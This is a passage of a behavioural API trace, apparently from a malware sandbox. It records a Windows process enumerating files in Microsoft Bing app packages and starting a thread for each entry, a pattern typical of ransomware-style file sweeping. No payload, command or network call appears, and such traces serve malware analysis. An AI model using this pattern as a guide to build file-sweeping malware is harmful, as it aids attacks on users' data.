	[0077.749] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77b93d5c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa20dbad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77b93d5c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Services", cAlternateFileName="MICROS~1.SER")) returned 1
	[0077.749] wcscmp (_String1="Microsoft.Msn.Services", _String2=".") returned 1
	[0077.749] wcscmp (_String1="Microsoft.Msn.Services", _String2="..") returned 1
	[0077.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477d460
	[0077.749] wcscpy (in: _Dest=0x477d460, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.749] wcscat (in: _Dest=0x477d460, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.749] wcscat (in: _Dest=0x477d460, _Source="Microsoft.Msn.Services" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services"
	[0077.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477d460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0077.750] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2911b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0077.750] wcscmp (_String1="Microsoft.Msn.Shell", _String2=".") returned 1
	[0077.750] wcscmp (_String1="Microsoft.Msn.Shell", _String2="..") returned 1
	[0077.750] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47cab00
	[0077.750] wcscpy (in: _Dest=0x47cab00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.750] wcscat (in: _Dest=0x47cab00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.750] wcscat (in: _Dest=0x47cab00, _Source="Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0077.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cab00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0077.751] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.751] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.751] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e3bde0
	[0077.751] wcscpy (in: _Dest=0x2e3bde0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.751] wcscat (in: _Dest=0x2e3bde0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.751] wcscat (in: _Dest=0x2e3bde0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e3bde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0077.752] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77bb9eb0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0077.752] wcscmp (_String1="MicrosoftAdvertising.ini", _String2=".") returned 1
	[0077.752] wcscmp (_String1="MicrosoftAdvertising.ini", _String2="..") returned 1
	[0077.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f610
	[0077.752] wcscpy (in: _Dest=0x477f610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.752] wcscat (in: _Dest=0x477f610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.752] wcscat (in: _Dest=0x477f610, _Source="MicrosoftAdvertising.ini" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini"
	[0077.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0077.753] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293090, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAdvertisingJS", cAlternateFileName="MSADVE~1")) returned 1
	[0077.753] wcscmp (_String1="MSAdvertisingJS", _String2=".") returned 1
	[0077.753] wcscmp (_String1="MSAdvertisingJS", _String2="..") returned 1
	[0077.753] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476cab8
	[0077.753] wcscpy (in: _Dest=0x476cab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.753] wcscat (in: _Dest=0x476cab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.753] wcscat (in: _Dest=0x476cab8, _Source="MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0077.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476cab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0077.754] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1
	[0077.754] wcscmp (_String1="PlatformConfiguration.xml", _String2=".") returned 1
	[0077.754] wcscmp (_String1="PlatformConfiguration.xml", _String2="..") returned 1
	[0077.754] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477ee30
	[0077.754] wcscpy (in: _Dest=0x477ee30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.754] wcscat (in: _Dest=0x477ee30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.754] wcscat (in: _Dest=0x477ee30, _Source="PlatformConfiguration.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml"
	[0077.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ee30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454
	[0077.755] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77c2c6ee, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xdee88, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.755] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.755] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476b730
	[0077.755] wcscpy (in: _Dest=0x476b730, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.755] wcscat (in: _Dest=0x476b730, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.755] wcscat (in: _Dest=0x476b730, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"
	[0077.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476b730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0077.756] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c2c6ee, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77c2c6ee, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77c78b89, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLite3Wrapper.dll", cAlternateFileName="")) returned 1
	[0077.756] wcscmp (_String1="SQLite3Wrapper.dll", _String2=".") returned 1
	[0077.756] wcscmp (_String1="SQLite3Wrapper.dll", _String2="..") returned 1
	[0077.756] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c78b89, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77c78b89, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77c78b89, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLiteWrapper.winmd", cAlternateFileName="")) returned 1
	[0077.756] wcscmp (_String1="SQLiteWrapper.winmd", _String2=".") returned 1
	[0077.756] wcscmp (_String1="SQLiteWrapper.winmd", _String2="..") returned 1
	[0077.756] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47cad70
	[0077.756] wcscpy (in: _Dest=0x47cad70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.756] wcscat (in: _Dest=0x47cad70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.756] wcscat (in: _Dest=0x47cad70, _Source="SQLiteWrapper.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd"
	[0077.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cad70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0077.757] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0077.757] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0077.757] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0077.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a868
	[0077.757] wcscpy (in: _Dest=0x476a868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe"
	[0077.757] wcscat (in: _Dest=0x476a868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\"
	[0077.757] wcscat (in: _Dest=0x476a868, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0077.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0077.758] FindNextFileW (in: hFindFile=0x2d71240, lpFindFileData=0x2db7758 | out: lpFindFileData=0x2db7758*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0077.758] FindClose (in: hFindFile=0x2d71240 | out: hFindFile=0x2d71240) returned 1
	[0077.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db7758) returned 1
	[0077.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d612c0) returned 1
	[0077.760] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f850) returned 1

Thread:
	id = 254
	os_tid = 0xdd8

	[0076.776] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61370
	[0076.776] wcscpy (in: _Dest=0x2d61370, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0076.776] wcscat (in: _Dest=0x2d61370, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.776] wcscat (in: _Dest=0x2d61370, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db79c0
	[0076.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293665, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad7b8
	[0078.774] wcscmp (_String1=".", _String2=".") returned 0
	[0078.774] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293665, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.774] wcscmp (_String1="..", _String2=".") returned 1
	[0078.774] wcscmp (_String1="..", _String2="..") returned 0
	[0078.774] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70454cf5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70454cf5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.774] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.774] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.774] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9770
	[0078.774] wcscpy (in: _Dest=0x47e9770, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.774] wcscat (in: _Dest=0x47e9770, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.774] wcscat (in: _Dest=0x47e9770, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e9770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0078.949] FindNextFileW (in: hFindFile=0x2dad7b8, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293d66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70454cf5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.949] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.949] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770488
	[0078.949] wcscpy (in: _Dest=0x4770488, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe"
	[0078.949] wcscat (in: _Dest=0x4770488, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.949] wcscat (in: _Dest=0x4770488, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4770488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf04
